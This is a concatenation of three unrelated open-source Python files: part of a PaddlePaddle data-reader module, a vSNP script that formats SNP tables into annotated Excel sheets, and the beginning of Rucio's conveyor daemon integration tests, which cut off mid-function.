dtypes=["float32", "int64"]) data_file = fluid.layers.double_buffer( fluid.layers.batch(data_file, batch_size=64)) input, label = fluid.layers.read_file(data_file) """ helper = LayerHelper('read_file') out = [ helper.create_variable_for_type_inference( stop_gradient=True, dtype='float32') for _ in range(len(reader.desc.shapes())) ] helper.append_op( type='read', inputs={'Reader': [reader]}, outputs={'Out': out}) if len(out) == 1: return out[0] else: return out class Preprocessor(object): """ A block for data pre-processing in reader. Args: reader (Variable): A reader variable. name (str, default None): The name of the reader. Examples: .. code-block:: python import paddle.fluid as fluid reader = fluid.layers.io.open_files( filenames=['./data1.recordio', './data2.recordio'], shapes=[(3, 224, 224), (1, )], lod_levels=[0, 0], dtypes=['float32', 'int64']) preprocessor = fluid.layers.io.Preprocessor(reader=reader) with preprocessor.block(): img, lbl = preprocessor.inputs() img_out = img / 2 lbl_out = lbl + 1 preprocessor.outputs(img_out, lbl_out) data_file = fluid.layers.io.double_buffer(preprocessor()) """ BEFORE_SUB_BLOCK = 0 IN_SUB_BLOCK = 1 AFTER_SUB_BLOCK = 2 def __init__(self, reader, name=None): self.underlying_reader = reader new_reader_name = name if name is not None else unique_name( "create_custom_reader") self.main_prog = default_main_program() self.reader = self.main_prog.current_block().create_var( name=new_reader_name) self.sub_block = None self.source_var_names = None self.sink_var_names = None self.status = Preprocessor.BEFORE_SUB_BLOCK def _is_completed(self): return self.sub_block and self.source_var_names and self.sink_var_names @signature_safe_contextmanager def block(self): self.status = Preprocessor.IN_SUB_BLOCK self.sub_block = self.main_prog._create_block() yield self.main_prog._rollback() self.status = Preprocessor.AFTER_SUB_BLOCK if not self._is_completed(): raise RuntimeError( "The definition of preprocessor is incompleted! " "Please make sure that you have set input and output " "variables by invoking 'inputs' and 'outputs' in " "Preprocessor's sub-block.") def inputs(self): if self.status != Preprocessor.IN_SUB_BLOCK: raise RuntimeError( "Preprocessor.inputs() can only be invoked inside the sub-block." ) source_shapes = self.underlying_reader.desc.shapes() source_dtypes = self.underlying_reader.desc.dtypes() source_lod_levels = self.underlying_reader.desc.lod_levels() self.source_var_names = [ unique_name("preprocessor_source") for _ in six.moves.range(len(source_shapes)) ] source_vars = [] for var_name, shape, dtype, lod_level in zip( self.source_var_names, source_shapes, source_dtypes, source_lod_levels): source_vars.append(self.main_prog.current_block().create_var( name=var_name, shape=shape, dtype=dtype, lod_level=lod_level)) return source_vars def outputs(self, *outs): if self.status != Preprocessor.IN_SUB_BLOCK: raise RuntimeError( "Preprocessor.outputs() can only be invoked inside the sub-block." ) self.sink_var_names = [var.name for var in outs] def __call__(self, *args, **kwargs): if self.status != Preprocessor.AFTER_SUB_BLOCK: raise RuntimeError( "Preprocessor output can only be retrieved after rnn block.") self.main_prog.current_block().append_op( type="create_custom_reader", inputs={'UnderlyingReader': self.underlying_reader}, outputs={'Out': [self.reader]}, attrs={ "sub_block": self.sub_block, "source_var_names": self.source_var_names, "sink_var_names": self.sink_var_names }) return monkey_patch_reader_methods(self.reader) @templatedoc() def load(out, file_path, load_as_fp16=None): """ ${comment} >>> import paddle.fluid as fluid >>> tmp_tensor = fluid.layers.create_tensor(dtype='float32') >>> fluid.layers.load(tmp_tensor, "./tmp_tensor.bin") Args: out(${out_type}): ${out_comment}. file_path(${file_path_type}): ${file_path_comment}. load_as_fp16(${load_as_fp16_type}): ${load_as_fp16_comment}. Returns: None """ helper = LayerHelper("load", **locals()) attrs = {"file_path": file_path} if load_as_fp16 is not None: attrs['load_as_fp16'] = load_as_fp16 helper.append_op(type="load", inputs={}, output={"Out": out}, args=attrs)
vsnp_build_tables.py
#!/usr/bin/env python import argparse import multiprocessing import os import pandas import queue import pandas.io.formats.excel import re from Bio import SeqIO INPUT_JSON_AVG_MQ_DIR = 'input_json_avg_mq_dir' INPUT_JSON_DIR = 'input_json_dir' INPUT_NEWICK_DIR = 'input_newick_dir' # Maximum columns allowed in a LibreOffice # spreadsheet is 1024. Excel allows for # 16,384 columns, but we'll set the lower # number as the maximum. Some browsers # (e.g., Firefox on Linux) are configured # to use LibreOffice for Excel spreadsheets. MAXCOLS = 1024 OUTPUT_EXCEL_DIR = 'output_excel_dir' def annotate_table(table_df, group, annotation_dict): for gbk_chrome, pro in list(annotation_dict.items()): ref_pos = list(table_df) ref_series = pandas.Series(ref_pos) ref_df = pandas.DataFrame(ref_series.str.split(':', expand=True).values, columns=['reference', 'position']) all_ref = ref_df[ref_df['reference'] == gbk_chrome] positions = all_ref.position.to_frame() # Create an annotation file. annotation_file = "%s_annotations.csv" % group with open(annotation_file, "a") as fh: for index, row in positions.iterrows(): pos = row.position try: aaa = pro.iloc[pro.index.get_loc(int(pos))][['chrom', 'locus', 'product', 'gene']] try: chrom, name, locus, tag = aaa.values[0] print("{}:{}\t{}, {}, {}".format(chrom, pos, locus, tag, name), file=fh) except ValueError: # If only one annotation for the entire # chromosome (e.g., flu) then having [0] fails chrom, name, locus, tag = aaa.values print("{}:{}\t{}, {}, {}".format(chrom, pos, locus, tag, name), file=fh) except KeyError: print("{}:{}\tNo annotated product".format(gbk_chrome, pos), file=fh) # Read the annotation file into a data frame. annotations_df = pandas.read_csv(annotation_file, sep='\t', header=None, names=['index', 'annotations'], index_col='index') # Remove the annotation_file from disk since both # cascade and sort tables are built using the file, # and it is opened for writing in append mode. os.remove(annotation_file) # Process the data. table_df_transposed = table_df.T table_df_transposed.index = table_df_transposed.index.rename('index') table_df_transposed = table_df_transposed.merge(annotations_df, left_index=True, right_index=True) table_df = table_df_transposed.T return table_df def excel_formatter(json_file_name, excel_file_name, group, annotation_dict): pandas.io.formats.excel.header_style = None table_df = pandas.read_json(json_file_name, orient='split') if annotation_dict is not None: table_df = annotate_table(table_df, group, annotation_dict) else: table_df = table_df.append(pandas.Series(name='no annotations')) writer = pandas.ExcelWriter(excel_file_name, engine='xlsxwriter') table_df.to_excel(writer, sheet_name='Sheet1') writer_book = writer.book ws = writer.sheets['Sheet1'] format_a = writer_book.add_format({'bg_color': '#58FA82'}) format_g = writer_book.add_format({'bg_color': '#F7FE2E'}) format_c = writer_book.add_format({'bg_color': '#0000FF'}) format_t = writer_book.add_format({'bg_color': '#FF0000'}) format_normal = writer_book.add_format({'bg_color': '#FDFEFE'}) formatlowqual = writer_book.add_format({'font_color': '#C70039', 'bg_color': '#E2CFDD'}) format_ambigous = writer_book.add_format({'font_color': '#C70039', 'bg_color': '#E2CFDD'}) format_n = writer_book.add_format({'bg_color': '#E2CFDD'}) rows, cols = table_df.shape ws.set_column(0, 0, 30) ws.set_column(1, cols, 2.1) ws.freeze_panes(2, 1) format_annotation = writer_book.add_format({'font_color': '#0A028C', 'rotation': '-90', 'align': 'top'}) # Set last row. ws.set_row(rows + 1, cols + 1, format_annotation) # Make sure that row/column locations don't overlap. ws.conditional_format(rows - 2, 1, rows - 1, cols, {'type': 'cell', 'criteria': '<', 'value': 55, 'format': formatlowqual}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'cell', 'criteria': '==', 'value': 'B$2', 'format': format_normal}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'text', 'criteria': 'containing', 'value': 'A', 'format': format_a}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'text', 'criteria': 'containing', 'value': 'G', 'format': format_g}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'text', 'criteria': 'containing', 'value': 'C', 'format': format_c}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'text', 'criteria': 'containing', 'value': 'T', 'format': format_t}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'text', 'criteria': 'containing', 'value': 'S', 'format': format_ambigous}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'text', 'criteria': 'containing', 'value': 'Y', 'format': format_ambigous}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'text', 'criteria': 'containing', 'value': 'R', 'format': format_ambigous}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'text', 'criteria': 'containing', 'value': 'W', 'format': format_ambigous}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'text', 'criteria': 'containing', 'value': 'K', 'format': format_ambigous}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'text', 'criteria': 'containing', 'value': 'M', 'format': format_ambigous}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'text', 'criteria': 'containing', 'value': 'N', 'format': format_n}) ws.conditional_format(2, 1, rows - 2, cols, {'type': 'text', 'criteria': 'containing', 'value': '-', 'format': format_n}) format_rotation = writer_book.add_format({}) format_rotation.set_rotation(90) for column_num, column_name in enumerate(list(table_df.columns)): ws.write(0, column_num + 1, column_name, format_rotation) format_annotation = writer_book.add_format({'font_color': '#0A028C', 'rotation': '-90', 'align': 'top'}) # Set last row. ws.set_row(rows, 400, format_annotation) writer.save() def get_annotation_dict(gbk_file): gbk_dict = SeqIO.to_dict(SeqIO.parse(gbk_file, "genbank")) annotation_dict = {} tmp_file = "features.csv" # Create a file of chromosomes and features. for chromosome in list(gbk_dict.keys()): with open(tmp_file, 'w+') as fh: for feature in gbk_dict[chromosome].features: if "CDS" in feature.type or "rRNA" in feature.type: try: product = feature.qualifiers['product'][0] except KeyError: product = None try: locus = feature.qualifiers['locus_tag'][0] except KeyError: locus = None try: gene = feature.qualifiers['gene'][0] except KeyError: gene = None fh.write("%s\t%d\t%d\t%s\t%s\t%s\n" % (chromosome, int(feature.location.start), int(feature.location.end), locus, product, gene)) # Read the chromosomes and features file into a data frame. df = pandas.read_csv(tmp_file, sep='\t', names=["chrom", "start", "stop", "locus", "product", "gene"]) # Process the data. df = df.sort_values(['start', 'gene'], ascending=[True, False]) df = df.drop_duplicates('start') pro = df.reset_index(drop=True) pro.index = pandas.IntervalIndex.from_arrays(pro['start'], pro['stop'], closed='both') annotation_dict[chromosome] = pro return annotation_dict def get_base_file_name(file_path): base_file_name = os.path.basename(file_path) if base_file_name.find(".") > 0: # Eliminate the extension. return os.path.splitext(base_file_name)[0] elif base_file_name.find("_") > 0: # The dot extension was likely changed to # the " character. items = base_file_name.split("_") return "_".join(items[0:-1]) else: return base_file_name def output_cascade_table(cascade_order, mqdf, group, annotation_dict): cascade_order_mq = pandas.concat([cascade_order, mqdf], join='inner') output_table(cascade_order_mq, "cascade", group, annotation_dict) def output_excel(df, type_str, group, annotation_dict, count=None): # Output the temporary json file that # is used by the excel_formatter. if count is None: if group is None: json_file_name = "%s_order_mq.json" % type_str excel_file_name = os.path.join(OUTPUT_EXCEL_DIR, "%s_table.xlsx" % type_str) else: json_file_name = "%s_%s_order_mq.json" % (group, type_str) excel_file_name = os.path.join(OUTPUT_EXCEL_DIR, "%s_%s_table.xlsx" % (group, type_str)) else: if group is None: json_file_name = "%s_order_mq_%d.json" % (type_str, count) excel_file_name = os.path.join(OUTPUT_EXCEL_DIR, "%s_table_%d.xlsx" % (type_str, count)) else: json_file_name = "%s_%s_order_mq_%d.json" % (group, type_str, count) excel_file_name = os.path.join(OUTPUT_EXCEL_DIR, "%s_%s_table_%d.xlsx" % (group, type_str, count)) df.to_json(json_file_name, orient='split') # Output the Excel file. excel_formatter(json_file_name, excel_file_name, group, annotation_dict) def output_sort_table(cascade_order, mqdf, group, annotation_dict): sort_df = cascade_order.T sort_df['abs_value'] = sort_df.index sort_df[['chrom', 'pos']] = sort_df['abs_value'].str.split(':', expand=True) sort_df = sort_df.drop(['abs_value', 'chrom'], axis=1) sort_df.pos = sort_df.pos.astype(int) sort_df = sort_df.sort_values(by=['pos']) sort_df = sort_df.drop(['pos'], axis=1) sort_df = sort_df.T sort_order_mq = pandas.concat([sort_df, mqdf], join='inner') output_table(sort_order_mq, "sort", group, annotation_dict) def output_table(df, type_str, group, annotation_dict): if isinstance(group, str) and group.startswith("dataset"): # Inputs are single files, not collections, # so input file names are not useful for naming # output files. group_str = None else: group_str = group count = 0 chunk_start = 0 chunk_end = 0 column_count = df.shape[1] if column_count >= MAXCOLS: # Here the number of columns is greater than # the maximum allowed by Excel, so multiple # outputs will be produced. while column_count >= MAXCOLS: count += 1 chunk_end += MAXCOLS df_of_type = df.iloc[:, chunk_start:chunk_end] output_excel(df_of_type, type_str, group_str, annotation_dict, count=count) chunk_start += MAXCOLS column_count -= MAXCOLS count += 1 df_of_type = df.iloc[:, chunk_start:] output_excel(df_of_type, type_str, group_str, annotation_dict, count=count) else: output_excel(df, type_str, group_str, annotation_dict) def preprocess_tables(task_queue, annotation_dict, timeout): while True: try: tup = task_queue.get(block=True, timeout=timeout) except queue.Empty: break newick_file, json_file, json_avg_mq_file = tup avg_mq_series = pandas.read_json(json_avg_mq_file, typ='series', orient='split') # Map quality to dataframe. mqdf = avg_mq_series.to_frame(name='MQ') mqdf = mqdf.T # Get the group. group = get_base_file_name(newick_file) snps_df = pandas.read_json(json_file, orient='split') with open(newick_file, 'r') as fh: for line in fh: line = re.sub('[:,]', '\n', line) line = re.sub('[)(]', '', line) line = re.sub(r'[0-9].*\.[0-9].*\n', '', line) line = re.sub('root\n', '', line) sample_order = line.split('\n') sample_order = list([_f for _f in sample_order if _f]) sample_order.insert(0, 'root') tree_order = snps_df.loc[sample_order] # Count number of SNPs in each column. snp_per_column = [] for column_header in tree_order: count = 0 column = tree_order[column_header] for element in column: if element != column[0]: count = count + 1 snp_per_column.append(count) row1 = pandas.Series(snp_per_column, tree_order.columns, name="snp_per_column") # Count number of SNPS from the # top of each column in the table. snp_from_top = [] for column_header in tree_order: count = 0 column = tree_order[column_header] # for each element in the column # skip the first element for element in column[1:]: if element == column[0]: count = count + 1 else: break snp_from_top.append(count) row2 = pandas.Series(snp_from_top, tree_order.columns, name="snp_from_top") tree_order = tree_order.append([row1]) tree_order = tree_order.append([row2]) # In pandas=0.18.1 even this does not work: # abc = row1.to_frame() # abc = abc.T --> tree_order.shape (5, 18), abc.shape (1, 18) # tree_order.append(abc) # Continue to get error: "*** ValueError: all the input arrays must have same number of dimensions" tree_order = tree_order.T tree_order = tree_order.sort_values(['snp_from_top', 'snp_per_column'], ascending=[True, False]) tree_order = tree_order.T # Remove snp_per_column and snp_from_top rows. cascade_order = tree_order[:-2] # Output the cascade table. output_cascade_table(cascade_order, mqdf, group, annotation_dict) # Output the sorted table. output_sort_table(cascade_order, mqdf, group, annotation_dict) task_queue.task_done() def set_num_cpus(num_files, processes): num_cpus = int(multiprocessing.cpu_count()) if num_files < num_cpus and num_files < processes: return num_files if num_cpus < processes: half_cpus = int(num_cpus / 2) if num_files < half_cpus: return num_files return half_cpus return processes if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--input_avg_mq_json', action='store', dest='input_avg_mq_json', required=False, default=None, help='Average MQ json file') parser.add_argument('--input_newick', action='store', dest='input_newick', required=False, default=None, help='Newick file') parser.add_argument('--input_snps_json', action='store', dest='input_snps_json', required=False, default=None, help='SNPs json file') parser.add_argument('--gbk_file', action='store', dest='gbk_file', required=False, default=None, help='Optional gbk file'), parser.add_argument('--processes', action='store', dest='processes', type=int, help='User-selected number of processes to use for job splitting') args = parser.parse_args() if args.gbk_file is not None: # Create the annotation_dict for annotating # the Excel tables. annotation_dict = get_annotation_dict(args.gbk_file) else: annotation_dict = None # The assumption here is that the list of files # in both INPUT_NEWICK_DIR and INPUT_JSON_DIR are # named such that they are properly matched if # the directories contain more than 1 file (i.e., # hopefully the newick file names and json file names # will be something like Mbovis-01D6_* so they can be # sorted and properly associated with each other). if args.input_newick is not None: newick_files = [args.input_newick] else: newick_files = [] for file_name in sorted(os.listdir(INPUT_NEWICK_DIR)): file_path = os.path.abspath(os.path.join(INPUT_NEWICK_DIR, file_name)) newick_files.append(file_path) if args.input_snps_json is not None: json_files = [args.input_snps_json] else: json_files = [] for file_name in sorted(os.listdir(INPUT_JSON_DIR)): file_path = os.path.abspath(os.path.join(INPUT_JSON_DIR, file_name)) json_files.append(file_path) if args.input_avg_mq_json is not None: json_avg_mq_files = [args.input_avg_mq_json] else: json_avg_mq_files = [] for file_name in sorted(os.listdir(INPUT_JSON_AVG_MQ_DIR)): file_path = os.path.abspath(os.path.join(INPUT_JSON_AVG_MQ_DIR, file_name)) json_avg_mq_files.append(file_path) multiprocessing.set_start_method('spawn') queue1 = multiprocessing.JoinableQueue() queue2 = multiprocessing.JoinableQueue() num_files = len(newick_files) cpus = set_num_cpus(num_files, args.processes) # Set a timeout for get()s in the queue. timeout = 0.05 for i, newick_file in enumerate(newick_files): json_file = json_files[i] json_avg_mq_file = json_avg_mq_files[i] queue1.put((newick_file, json_file, json_avg_mq_file)) # Complete the preprocess_tables task. processes = [multiprocessing.Process(target=preprocess_tables, args=(queue1, annotation_dict, timeout, )) for _ in range(cpus)] for p in processes: p.start() for p in processes: p.join() queue1.join() if queue1.empty(): queue1.close() queue1.join_thread()
test_conveyor.py
# -*- coding: utf-8 -*- # Copyright 2021 CERN # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # - Radu Carpa <radu.carpa@cern.ch>, 2021 # - Mayank Sharma <imptodefeat@gmail.com>, 2021 # - David Población Criado <david.poblacion.criado@cern.ch>, 2021 import threading import time from datetime import datetime from unittest.mock import patch from urllib.parse import urlencode, urlparse, parse_qsl, urlunparse import pytest import rucio.daemons.reaper.reaper from rucio.common.exception import ReplicaNotFound from rucio.core import distance as distance_core from rucio.core import replica as replica_core from rucio.core import request as request_core from rucio.core import rse as rse_core from rucio.core import rule as rule_core from rucio.core import transfer as transfer_core from rucio.daemons.conveyor.finisher import finisher from rucio.daemons.conveyor.poller import poller from rucio.daemons.conveyor.preparer import preparer from rucio.daemons.conveyor.submitter import submitter from rucio.daemons.conveyor.stager import stager from rucio.daemons.conveyor.throttler import throttler from rucio.daemons.conveyor.receiver import receiver, graceful_stop as receiver_graceful_stop from rucio.daemons.reaper.reaper import reaper from rucio.db.sqla import models from rucio.db.sqla.constants import RequestState, RequestType, ReplicaState, RSEType from rucio.db.sqla.session import read_session, transactional_session from rucio.tests.common import skip_rse_tests_with_accounts MAX_POLL_WAIT_SECONDS = 60 TEST_FTS_HOST = 'https://fts:8446' def __wait_for_replica_transfer(dst_rse_id, scope, name, state=ReplicaState.AVAILABLE, max_wait_seconds=MAX_POLL_WAIT_SECONDS): """ Wait for the replica to become AVAILABLE on the given RSE as a result of a pending transfer """ replica = None for _ in range(max_wait_seconds): poller(once=True, older_than=0, partition_wait_time=None) finisher(once=True, partition_wait_time=None) replica = replica_core.get_replica(rse_id=dst_rse_id, scope=scope, name=name) if replica['state'] == state: break time.sleep(1) return replica def __wait_for_request_state(dst_rse_id, scope, name, state, max_wait_seconds=MAX_POLL_WAIT_SECONDS, run_poller=True): """ Wait for the request state to be updated to the given expected state as a result of a pending transfer """ request = None for _ in range(max_wait_seconds): if run_poller: poller(once=True, older_than=0, partition_wait_time=None) request = request_core.get_request_by_did(rse_id=dst_rse_id, scope=scope, name=name) if request['state'] == state: break time.sleep(1) return request def set_query_parameters(url, params): """ Set a query parameter in an url which may, or may not, have other existing query parameters """ url_parts = list(urlparse(url)) query = dict(parse_qsl(url_parts[4])) query.update(params) url_parts[4] = urlencode(query) return urlunparse(url_parts) @skip_rse_tests_with_accounts @pytest.mark.dirty(reason="leaves files in XRD containers") @pytest.mark.noparallel(reason="uses predefined RSEs; runs submitter, poller and finisher; changes XRD3 usage and limits") @pytest.mark.parametrize("core_config_mock", [{"table_content": [ ('transfers', 'use_multihop', True), ('transfers', 'multihop_tombstone_delay', -1), # Set OBSOLETE tombstone for intermediate replicas ]}], indirect=True) @pytest.mark.parametrize("caches_mock", [{"caches_to_mock": [ 'rucio.core.rse_expression_parser', # The list of multihop RSEs is retrieved by rse expression 'rucio.core.config', 'rucio.daemons.reaper.reaper', ]}], indirect=True) def test_multihop_intermediate_replica_lifecycle(vo, did_factory, root_account, core_config_mock, caches_mock, metrics_mock): """ Ensure that intermediate replicas created by the submitter are protected from deletion even if their tombstone is set to epoch. After successful transfers, intermediate replicas with default (epoch) tombstone must be removed. The others must be left intact. """ src_rse1_name = 'XRD1' src_rse1_id = rse_core.get_rse_id(rse=src_rse1_name, vo=vo) src_rse2_name = 'XRD2' src_rse2_id = rse_core.get_rse_id(rse=src_rse2_name, vo=vo) jump_rse_name = 'XRD3' jump_rse_id = rse_core.get_rse_id(rse=jump_rse_name, vo=vo) dst_rse_name = 'XRD4' dst_rse_id = rse_core.get_rse_id(rse=dst_rse_name, vo=vo) all_rses = [src_rse1_id, src_rse2_id, jump_rse_id, dst_rse_id] did = did_factory.upload_test_file(src_rse1_name) # Copy replica to a second source. To avoid the special case of having a unique last replica, which could be handled in a special (more careful) way rule_core.add_rule(dids=[did], account=root_account, copies=1, rse_expression=src_rse2_name, grouping='ALL', weight=None, lifetime=None, locked=False, subscription_id=None) submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], partition_wait_time=None, transfertype='single', filter_transfertool=None) replica = __wait_for_replica_transfer(dst_rse_id=src_rse2_id, **did) assert replica['state'] == ReplicaState.AVAILABLE rse_core.set_rse_limits(rse_id=jump_rse_id, name='MinFreeSpace', value=1) rse_core.set_rse_usage(rse_id=jump_rse_id, source='storage', used=1, free=0) try: rule_core.add_rule(dids=[did], account=root_account, copies=1, rse_expression=dst_rse_name, grouping='ALL', weight=None, lifetime=None, locked=False, subscription_id=None) # Submit transfers to FTS # Ensure a replica was created on the intermediary host with epoch tombstone submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], partition_wait_time=None, transfertype='single', filter_transfertool=None) request = request_core.get_request_by_did(rse_id=jump_rse_id, **did) assert request['state'] == RequestState.SUBMITTED replica = replica_core.get_replica(rse_id=jump_rse_id, **did) assert replica['tombstone'] == datetime(year=1970, month=1, day=1) assert replica['state'] == ReplicaState.COPYING # The intermediate replica is protected by its state (Copying) rucio.daemons.reaper.reaper.REGION.invalidate() reaper(once=True, rses=[], include_rses=jump_rse_name, exclude_rses=None) replica = replica_core.get_replica(rse_id=jump_rse_id, **did) assert replica['state'] == ReplicaState.COPYING # Wait for the intermediate replica to become ready replica = __wait_for_replica_transfer(dst_rse_id=jump_rse_id, **did) assert replica['state'] == ReplicaState.AVAILABLE # The intermediate replica is protected by an entry in the sources table # Reaper must not remove this replica, even if it has an obsolete tombstone rucio.daemons.reaper.reaper.REGION.invalidate() reaper(once=True, rses=[], include_rses=jump_rse_name, exclude_rses=None) replica = replica_core.get_replica(rse_id=jump_rse_id, **did) assert replica # FTS fails the second transfer, so run submitter again to copy from jump rse to destination rse submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], partition_wait_time=None, transfertype='single', filter_transfertool=None) # Wait for the destination replica to become ready replica = __wait_for_replica_transfer(dst_rse_id=dst_rse_id, **did) assert replica['state'] == ReplicaState.AVAILABLE rucio.daemons.reaper.reaper.REGION.invalidate() reaper(once=True, rses=[], include_rses='test_container_xrd=True', exclude_rses=None) with pytest.raises(ReplicaNotFound): replica_core.get_replica(rse_id=jump_rse_id, **did) # 4 request: copy to second source + 1 multihop with two hops (but second hop fails) + re-scheduled second hop # Use inequalities, because there can be left-overs from other tests assert metrics_mock.get_sample_value('rucio_daemons_conveyor_poller_update_request_state_total', labels={'updated': 'True'}) >= 4 assert metrics_mock.get_sample_value('rucio_core_request_submit_transfer_total') >= 4 # at least the failed hop assert metrics_mock.get_sample_value('rucio_daemons_conveyor_finisher_handle_requests_total') > 0 finally: @transactional_session def _cleanup_all_usage_and_limits(rse_id, session=None): session.query(models.RSELimit).filter_by(rse_id=rse_id).delete() session.query(models.RSEUsage).filter_by(rse_id=rse_id, source='storage').delete() _cleanup_all_usage_and_limits(rse_id=jump_rse_id) @skip_rse_tests_with_accounts @pytest.mark.noparallel(reason="uses predefined RSEs; runs submitter, poller and finisher") @pytest.mark.parametrize("core_config_mock", [{"table_content": [ ('transfers', 'use_multihop', True), ]}], indirect=True) @pytest.mark.parametrize("caches_mock", [{"caches_to_mock": [ 'rucio.core.rse_expression_parser', # The list of multihop RSEs is retrieved by rse expression 'rucio.core.config', ]}], indirect=True) def test_fts_non_recoverable_failures_handled_on_multihop(vo, did_factory, root_account, replica_client, core_config_mock, caches_mock, metrics_mock): """ Verify that the poller correctly handles non-recoverable FTS job failures """ src_rse = 'XRD1' src_rse_id = rse_core.get_rse_id(rse=src_rse, vo=vo) jump_rse = 'XRD3' jump_rse_id = rse_core.get_rse_id(rse=jump_rse, vo=vo) dst_rse = 'XRD4' dst_rse_id = rse_core.get_rse_id(rse=dst_rse, vo=vo) all_rses = [src_rse_id, jump_rse_id, dst_rse_id] # Register a did which doesn't exist. It will trigger an non-recoverable error during the FTS transfer. did = did_factory.random_did() replica_client.add_replicas(rse=src_rse, files=[{'scope': did['scope'].external, 'name': did['name'], 'bytes': 1, 'adler32': 'aaaaaaaa'}]) rule_core.add_rule(dids=[did], account=root_account, copies=1, rse_expression=dst_rse, grouping='ALL', weight=None, lifetime=None, locked=False, subscription_id=None) submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], group_bulk=2, partition_wait_time=None, transfertype='single', filter_transfertool=None) request = __wait_for_request_state(dst_rse_id=dst_rse_id, state=RequestState.FAILED, **did) assert request['state'] == RequestState.FAILED request = request_core.get_request_by_did(rse_id=jump_rse_id, **did) assert request['state'] == RequestState.FAILED # Each hop is a separate transfer, which will be handled by the poller and marked as failed assert metrics_mock.get_sample_value('rucio_daemons_conveyor_poller_update_request_state_total', labels={'updated': 'True'}) >= 2 @skip_rse_tests_with_accounts @pytest.mark.dirty(reason="leaves files in XRD containers") @pytest.mark.noparallel(reason="uses predefined RSEs; runs submitter, poller and finisher") @pytest.mark.parametrize("core_config_mock", [{"table_content": [ ('transfers', 'use_multihop', True), ]}], indirect=True) @pytest.mark.parametrize("caches_mock", [{"caches_to_mock": [ 'rucio.core.rse_expression_parser', # The list of multihop RSEs is retrieved by rse expression 'rucio.core.config', ]}], indirect=True) def test_fts_recoverable_failures_handled_on_multihop(vo, did_factory, root_account, replica_client, file_factory, core_config_mock, caches_mock, metrics_mock): """ Verify that the poller correctly handles recoverable FTS job failures """ src_rse = 'XRD1' src_rse_id = rse_core.get_rse_id(rse=src_rse, vo=vo) jump_rse = 'XRD3' jump_rse_id = rse_core.get_rse_id(rse=jump_rse, vo=vo) dst_rse = 'XRD4' dst_rse_id = rse_core.get_rse_id(rse=dst_rse, vo=vo) all_rses = [src_rse_id, jump_rse_id, dst_rse_id] # Create and upload a real file, but register it with wrong checksum. This will trigger # a FTS "Recoverable" failure on checksum validation local_file = file_factory.file_generator() did = did_factory.random_did() did_factory.upload_client.upload( [ { 'path': local_file, 'rse': src_rse, 'did_scope': did['scope'].external, 'did_name': did['name'], 'no_register': True, } ] ) replica_client.add_replicas(rse=src_rse, files=[{'scope': did['scope'].external, 'name': did['name'], 'bytes': 1, 'adler32': 'aaaaaaaa'}]) rule_core.add_rule(dids=[did], account=root_account, copies=1, rse_expression=dst_rse, grouping='ALL', weight=None, lifetime=None, locked=False, subscription_id=None) submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], group_bulk=2, partition_wait_time=None, transfertype='single', filter_transfertool=None) request = __wait_for_request_state(dst_rse_id=dst_rse_id, state=RequestState.FAILED, **did) assert request['state'] == RequestState.FAILED request = request_core.get_request_by_did(rse_id=jump_rse_id, **did) assert request['state'] == RequestState.FAILED # Each hop is a separate transfer, which will be handled by the poller and marked as failed assert metrics_mock.get_sample_value('rucio_daemons_conveyor_poller_update_request_state_total', labels={'updated': 'True'}) >= 2 @skip_rse_tests_with_accounts @pytest.mark.dirty(reason="leaves files in XRD containers") @pytest.mark.noparallel(reason="uses predefined RSEs; runs submitter, poller and finisher") @pytest.mark.parametrize("core_config_mock", [{"table_content": [ ('transfers', 'use_multihop', True), ]}], indirect=True) @pytest.mark.parametrize("caches_mock", [{"caches_to_mock": [ 'rucio.core.rse_expression_parser', # The list of multihop RSEs is retrieved by rse expression 'rucio.core.config', ]}], indirect=True) def test_multisource(vo, did_factory, root_account, replica_client, core_config_mock, caches_mock, metrics_mock): src_rse1 = 'XRD4' src_rse1_id = rse_core.get_rse_id(rse=src_rse1, vo=vo) src_rse2 = 'XRD1' src_rse2_id = rse_core.get_rse_id(rse=src_rse2, vo=vo) dst_rse = 'XRD3' dst_rse_id = rse_core.get_rse_id(rse=dst_rse, vo=vo) all_rses = [src_rse1_id, src_rse2_id, dst_rse_id] # Add a good replica on the RSE which has a higher distance ranking did = did_factory.upload_test_file(src_rse1) # Add non-existing replica which will fail during multisource transfers on the RSE with lower cost (will be the preferred source) replica_client.add_replicas(rse=src_rse2, files=[{'scope': did['scope'].external, 'name': did['name'], 'bytes': 1, 'adler32': 'aaaaaaaa'}]) rule_core.add_rule(dids=[did], account=root_account, copies=1, rse_expression=dst_rse, grouping='ALL', weight=None, lifetime=None, locked=False, subscription_id=None) submitter(once=True, rses=[{'id': rse_id} for rse_id in all_rses], group_bulk=2, partition_wait_time=None, transfertype='single', filter_transfertool=None) @read_session def __source_exists(src_rse_id, scope, name, session=None): return session.query(models.Source) \ .filter(models.Source.rse_id == src_rse_id) \ .filter(models.Source.scope == scope) \ .filter(models.Source.name == name) \ .count() != 0 # Entries in the source table must be created for both sources of the multi-source transfer assert __source_exists(src_rse_id=src_rse1_id, **did) assert __source_exists(src_rse_id=src_rse2_id, **did) replica = __wait_for_replica_transfer(dst_rse_id=dst_rse_id, **did) assert replica['state'] == ReplicaState.AVAILABLE assert not __source_exists(src_rse_id=src_rse1_id, **did) assert not __source_exists(src_rse_id=src_rse2_id, 